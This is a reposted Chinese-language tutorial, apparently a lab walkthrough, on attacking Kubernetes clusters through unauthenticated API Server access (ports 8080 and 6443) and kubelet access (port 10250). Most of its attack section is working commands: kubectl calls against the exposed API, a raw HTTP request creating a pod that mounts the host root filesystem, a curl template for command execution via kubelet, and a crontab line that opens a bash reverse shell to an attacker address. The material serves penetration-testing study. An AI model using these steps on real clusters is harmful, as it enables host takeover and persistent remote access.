云上攻防-云原生篇&Kubernetes&K8s安全&API&Kubelet未授权访问&容器执行

这篇具有很好参考价值的文章主要介绍了云上攻防-云原生篇&Kubernetes&K8s安全&API&Kubelet未授权访问&容器执行。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

K8S集群架构解释

Kubernetes是一个开源的,用于编排云平台中多个主机上的容器化的应用,目标是让部署容器化的应用能简单并且高效的使用, 提供了应用部署,规划,更新,维护的一种机制。其核心的特点就是能够自主的管理容器来保证云平台中的容器按照用户的期望状态运行着,管理员可以加载一个微型服务,让规划器来找到合适的位置,同时,Kubernetes在系统提升工具以及人性化方面,让用户能够方便的部署自己的应用。
1、Master节点
2、Node节点
3、Pod
云上攻防-云原生篇&Kubernetes&K8s安全&API&Kubelet未授权访问&容器执行,Cyber-Security,云原生,kubernetes,安全,云安全云上攻防-云原生篇&Kubernetes&K8s安全&API&Kubelet未授权访问&容器执行,Cyber-Security,云原生,kubernetes,安全,云安全
具体参考:
https://blog.csdn.net/qq_34101364/article/details/122506768

K8S集群攻击点-重点

随着越来越多企业开始上云的步伐,在攻防演练中常常碰到云相关的场景,例:公有云、私有云、混合云、虚拟化集群等。以往渗透路径「外网突破->提权->权限维持->信息收集->横向移动->循环收集信息」,直到获得重要目标系统。但随着业务上云以及虚拟化技术的引入改变了这种格局,也打开了新的入侵路径,例如:
1、通过虚拟机攻击云管理平台,利用管理平台控制所有机器
2、通过容器进行逃逸,从而控制宿主机以及横向渗透到K8s Master节点控制所有容器
3、利用KVM-QEMU/执行逃逸获取宿主机,进入物理网络横向移动控制云平台
目前互联网上针对云原生场景下的攻击手法零零散散的较多,仅有一些厂商发布过相关矩阵技术,但没有过多的细节展示,本文基于微软发布的Kubernetes威胁矩阵进行扩展,介绍相关的具体攻击方法。
云上攻防-云原生篇&Kubernetes&K8s安全&API&Kubelet未授权访问&容器执行,Cyber-Security,云原生,kubernetes,安全,云安全
详细攻击点参考:
https://mp.weixin.qq.com/s/yQoqozJgP8F-ad24xgzIPw
https://mp.weixin.qq.com/s/QEuQa0KVwykrMzOPdgEHMQ

API Server未授权访问&kubelet未授权访问复现

云上攻防-云原生篇&Kubernetes&K8s安全&API&Kubelet未授权访问&容器执行,Cyber-Security,云原生,kubernetes,安全,云安全

k8s集群环境搭建

搭建环境使用3台Centos 7,参考:
https://www.jianshu.com/p/25c01cae990c
https://blog.csdn.net/fly910905/article/details/120887686
一个集群包含三个节点,其中包括一个控制节点和两个工作节点

master:10.10.10.167
node1:10.10.10.170
node2:10.10.10.171

最后的效果
云上攻防-云原生篇&Kubernetes&K8s安全&API&Kubelet未授权访问&容器执行,Cyber-Security,云原生,kubernetes,安全,云安全

1、攻击8080端口:API Server未授权访问

旧版本的k8s的API Server默认会开启两个端口:8080和6443
6443是安全端口,安全端口使用TLS加密;但是8080端口无需认证,
仅用于测试。6443端口需要认证,且有 TLS 保护。(k8s<1.16.0)
新版本k8s默认已经不开启8080。需要更改相应的配置

cd /etc/kubernetes/manifests/

需要手动添加这两条配置(新版本k8s)

  • –insecure-port=8080
  • –insecure-bind-address=0.0.0.0

重启k8s服务

systemctl restart kubelet.service

云上攻防-云原生篇&Kubernetes&K8s安全&API&Kubelet未授权访问&容器执行,Cyber-Security,云原生,kubernetes,安全,云安全漏洞利用:

kubectl.exe -s 192.168.139.130:8080 get nodes

云上攻防-云原生篇&Kubernetes&K8s安全&API&Kubelet未授权访问&容器执行,Cyber-Security,云原生,kubernetes,安全,云安全

kubectl.exe -s 10.10.10.167:8080 get pods

云上攻防-云原生篇&Kubernetes&K8s安全&API&Kubelet未授权访问&容器执行,Cyber-Security,云原生,kubernetes,安全,云安全

kubectl -s 10.10.10.167:8080 create -f test.yaml

云上攻防-云原生篇&Kubernetes&K8s安全&API&Kubelet未授权访问&容器执行,Cyber-Security,云原生,kubernetes,安全,云安全

kubectl -s 10.10.10.167:8080 --namespace=default exec -it test bash

云上攻防-云原生篇&Kubernetes&K8s安全&API&Kubelet未授权访问&容器执行,Cyber-Security,云原生,kubernetes,安全,云安全

echo -e "* * * * * root bash -i >& /dev/tcp/192.168.139.128/7788 0>&1\n" >> /mnt/etc/crontab

云上攻防-云原生篇&Kubernetes&K8s安全&API&Kubelet未授权访问&容器执行,Cyber-Security,云原生,kubernetes,安全,云安全简单分析下,可以看到计划任务写入了node1主机中
云上攻防-云原生篇&Kubernetes&K8s安全&API&Kubelet未授权访问&容器执行,Cyber-Security,云原生,kubernetes,安全,云安全云上攻防-云原生篇&Kubernetes&K8s安全&API&Kubelet未授权访问&容器执行,Cyber-Security,云原生,kubernetes,安全,云安全

2、攻击6443端口:API Server未授权访问

正常情况下:
云上攻防-云原生篇&Kubernetes&K8s安全&API&Kubelet未授权访问&容器执行,Cyber-Security,云原生,kubernetes,安全,云安全一些集群由于鉴权配置不当,将"system:anonymous"用户绑定到"cluster-admin"用户组,从而使6443端口允许匿名用户以管理员权限向集群内部下发指令。

kubectl create clusterrolebinding system:anonymous --clusterrole=cluster-admin --user=system:anonymous

存在漏洞:
云上攻防-云原生篇&Kubernetes&K8s安全&API&Kubelet未授权访问&容器执行,Cyber-Security,云原生,kubernetes,安全,云安全
-创建恶意pods

POST /api/v1/namespaces/default/pods HTTP/2
Host: 10.10.10.167:6443
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Content-Length: 1176

{
    "apiVersion": "v1",
    "kind": "Pod",
    "metadata": {
        "annotations": {
            "kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test-4444\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test-4444\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"
        },
        "name": "test-4444",
        "namespace": "default"
    },
    "spec": {
        "containers": [
            {
                "image": "nginx:1.14.2",
                "name": "test-4444",
                "volumeMounts": [
                    {
                        "mountPath": "/host",
                        "name": "host"
                    }
                ]
            }
        ],
        "volumes": [
            {
                "hostPath": {
                    "path": "/",
                    "type": "Directory"
                },
                "name": "host"
            }
        ]
    }
}

云上攻防-云原生篇&Kubernetes&K8s安全&API&Kubelet未授权访问&容器执行,Cyber-Security,云原生,kubernetes,安全,云安全云上攻防-云原生篇&Kubernetes&K8s安全&API&Kubelet未授权访问&容器执行,Cyber-Security,云原生,kubernetes,安全,云安全
-连接判断pods

kubectl --insecure-skip-tls-verify -s https://10.10.10.167:6443 get pods

用户名密码随便输
云上攻防-云原生篇&Kubernetes&K8s安全&API&Kubelet未授权访问&容器执行,Cyber-Security,云原生,kubernetes,安全,云安全
-连接执行pods

kubectl --insecure-skip-tls-verify -s https://10.10.10.167:6443 --namespace=default exec -it test-4444 bash

云上攻防-云原生篇&Kubernetes&K8s安全&API&Kubelet未授权访问&容器执行,Cyber-Security,云原生,kubernetes,安全,云安全
-上述一样

3、攻击10250端口:kubelet未授权访问

环境搭建
注意是在pod节点中配置

https://10.10.10.170:10250/pods
/var/lib/kubelet/config.yaml
修改authentication的anonymous为true,
将authorization mode修改为AlwaysAllow,
重启kubelet进程-systemctl restart kubelet

云上攻防-云原生篇&Kubernetes&K8s安全&API&Kubelet未授权访问&容器执行,Cyber-Security,云原生,kubernetes,安全,云安全-访问获取:

https://10.10.10.170:10250/runningpods/

云上攻防-云原生篇&Kubernetes&K8s安全&API&Kubelet未授权访问&容器执行,Cyber-Security,云原生,kubernetes,安全,云安全

-利用执行命令这里需要获取三个参数
namespace default
pod whgojp
container test-container
-执行模版:

curl -XPOST -k "https://10.10.10.170:10250/run/<namespace>/<pod>/<container>" -d "cmd=id"

云上攻防-云原生篇&Kubernetes&K8s安全&API&Kubelet未授权访问&容器执行,Cyber-Security,云原生,kubernetes,安全,云安全还是在容器中,后续操作同上(写计划任务)文章来源地址https://www.toymoban.com/news/detail-715991.html

到了这里,关于云上攻防-云原生篇&Kubernetes&K8s安全&API&Kubelet未授权访问&容器执行的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 云原生Kubernetes:K8S概述

    目录 一、理论 1.云原生 2.K8S 3.k8s集群架构与组件 4.K8S网络 二、总结 (1)概念 云原生是一种基于容器、微服务和自动化运维的软件开发和部署方法。它可以使应用程序更加高效、可靠和可扩展,适用于各种不同的云平台。 如果要更直接通俗的来解释下上面的概念,云原生更

    2024年02月10日
    浏览(52)
  • Kubernetes K8s 解决 This error is likely caused by: - The kubelet is not running

    日志内容 3月 18 20:21:04 k8s-master kubelet[36490]: E0318 20:21:04.954990 36490 server.go:302] “Failed to run kubelet” err=“failed to run Kubelet: misconfiguration: kubelet cgroup driver: “systemd” is different from docker cgroup driver: “cgroupfs”” 根据报错信息发现,是因为 k8s 和docker 的 cgroup driver 不一致导致的,

    2023年04月17日
    浏览(50)
  • 【云原生 • Kubernetes】认识 k8s、k8s 架构、核心概念点介绍

    目录 一、Kubernetes 简介 二、Kubernetes 架构 三、Kunbernetes 有哪些核心概念? 1. 集群 Cluster 2. 容器 Container 3. POD 4. 副本集 ReplicaSet 5. 服务 service 6. 发布 Deployment 7. ConfigMap/Secret 8. DaemonSet 9. 核心概念总结 Kubernetes 简称 k8s,是支持云原生部署的一个平台,起源于谷歌。谷歌早在十几

    2024年02月03日
    浏览(170)
  • 【云原生 • Kubernetes】认识 k8s 网络、外部网络访问 k8s 内部服务

    目录 一、认识 Kubernetes 网络 二、外部网络如何访问 k8s 内部服务 1. NodePort 2. Load Balancer 3. Ingress Kubernetes 最底层的网络为节点网络,用来保证 k8s 集群的节点(master 和 worker、worker 节点之间)能够做正常的 IP 寻址和通讯。 Kubernetes 第二层网络就是 Pod 网络,构建于节点网络之上

    2024年01月16日
    浏览(68)
  • 云原生_kubernetes(k8s)介绍

    目录 一、应用部署方式演变 二、k8s介绍 三、k8s的组件 四、k8s中的概念 五、k8s资源管理方式 1、命令式对象管理 2、命令式对象配置 3、声明式对象配置 在部署应用程序的方式上,主要经历了三个时代: 1 、物理机部署: 互联网早期,会直接将应用程序部署在物理机上 优点

    2023年04月13日
    浏览(56)
  • 云原生Kubernetes:K8S存储卷

    目录 一、理论 1.存储卷 2.emptyDir 存储卷 3.hostPath卷 4.NFS共享存储 5.PVC 和 PV 6.静态创建PV 7.动态创建PV 二、实验  1.emptyDir 存储卷 2.hostPath卷 3.NFS共享存储 4.静态创建PV 5.动态创建PV 三、问题 1.生成pod一直pending 2.shoumount -e未显示共享目录 3.静态创建pv 报错 4.使用 Deployment 来创建

    2024年02月07日
    浏览(69)
  • 【云原生K8S】Kubernetes之探针

    目录 一、探针是什么 二、探针类型  Ⅰ、livenessProbe 容器重启策略  Ⅱ、readinessProbe Ⅲ、startupProbe 执行顺序: 字段详情 三、探测机制 Ⅰ、HTTP GET探针 Ⅱ、TCP套接字探针 Ⅲ、Exec探针 探针:是由 kubelet 对容器执行的定期诊断 要执行诊断,则需kubelet 调用由容器实现的 Handler。

    2024年02月09日
    浏览(66)
  • 云原生Kubernetes:K8S常用服务端口

    目录 一、理论 1.K8S常用服务端口号 (1)K8S集群 表1 K8S集群端口 协议 端口号 K8S集群 TCP 22 使用主机驱动通过SSH进行节点配置 TCP 53 集群DNS服务 UDP 53 集群DNS服务 TCP 2376 主机驱动与Docker守护进程通信的TLS端口 TCP 2379 etcd客户端请求 TCP 2380 etcd节点通信 UDP 8472 Canal/Flannel VXLAN ove

    2024年02月10日
    浏览(67)
  • 云原生Kubernetes:K8S配置资源管理

    目录 一、理论 1.Secret 2.Secret创建 3.Secret使用 4.Configmap 5.Configmap创建 6.Configmap使用 二、实验 1.Secret创建 2.Secret使用 3.Configmap创建 4.Configmap使用 三、问题 1.变量引用生成资源报错 2.查看pod日志失败 3.创建configmap报错 4.YAML创建configmap报错 5. 生成资源报错 6.文件挂载pod报错Error 四

    2024年02月07日
    浏览(62)
  • 【云原生K8s】初识Kubernetes的理论基础

      K8S由google的Borg系统(博格系统,google内部使用的大规模容器编排工具)作为原型,后经GO语言延用Borg的思路重写并捐献给CNCF基金会开源。 云原生基金会(CNCF)于2015年12月成立,隶属于Linux基金会。CNCF孵化的第一个项目就是Kubernetes, 随着容器的广泛使用,Kubernetes已经成为容

    2024年02月14日
    浏览(59)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包